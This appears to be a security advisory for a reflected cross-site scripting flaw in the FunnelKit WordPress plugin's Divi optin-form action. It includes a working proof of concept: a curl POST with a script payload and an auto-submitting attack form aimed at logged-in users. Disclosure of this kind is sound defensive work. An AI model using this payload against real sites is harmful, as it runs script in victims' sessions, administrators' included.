FunnelKit < 3.15.0.6 – Reflected XSS via Divi Optin Form | CVE 2026-12978

Description

The plugin does not escape a user-supplied parameter before reflecting it into the HTML response of one of its page-builder AJAX actions, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting against logged-in users who open a crafted page. The affected action is only registered when the Divi theme/builder is active.

Proof of Concept

FunnelKit Funnel Builder <= 3.15.0.5 - Reflected XSS via the Divi optin-form AJAX action (et_wfop_optin_form). The action echoes the request's input_size value unescaped inside a <style> block, with no nonce and no capability check; a </style><script> payload closes the style element and executes. The action is registered only when the Divi theme/builder is active.

== Environment preparation ==
1. Activate the Divi theme/builder (the FunnelKit optin-form Divi module only registers its AJAX action under Divi).
2. Activate FunnelKit Funnel Builder <= 3.15.0.5 (WooCommerce active is the plugin's normal state).

== Exploit ==
Victim: any logged-in user (Subscriber or higher). The attacker delivers a crafted auto-submitting page; when the victim opens it while logged in, the script runs in their session and origin. Against an administrator victim it runs with administrator privileges.

IMPORTANT: the request must be a POST that also carries et_load_builder_modules=1. That field forces Divi's builder framework to load so the et_wfop_optin_form action is registered on admin-ajax; a bare GET without it is rejected (HTTP 400).

# Verified directly as a Subscriber (payload reflects verbatim):
curl -ks -X POST 'https://victim.example/wp-admin/admin-ajax.php' \
  --data 'action=et_wfop_optin_form&et_load_builder_modules=1&input_size=%3C%2Fstyle%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E' \
  -H 'Cookie: <victim logged-in session cookie>'

# Realistic delivery (victim only has to open the page while logged in):
<form id="x" method="POST" action="https://victim.example/wp-admin/admin-ajax.php">
  <input name="action" value="et_wfop_optin_form">
  <input name="et_load_builder_modules" value="1">
  <input name="input_size" value="</style><script>alert(document.domain)</script>">
</form>
<script>document.getElementById('x').submit()</script>

== Expected result ==
HTTP 200, Content-Type text/html, and the response body contains verbatim:
  padding: </style><script>alert(document.domain)</script> 15px;
so the injected <script> executes in the victim's browser in the site's own origin.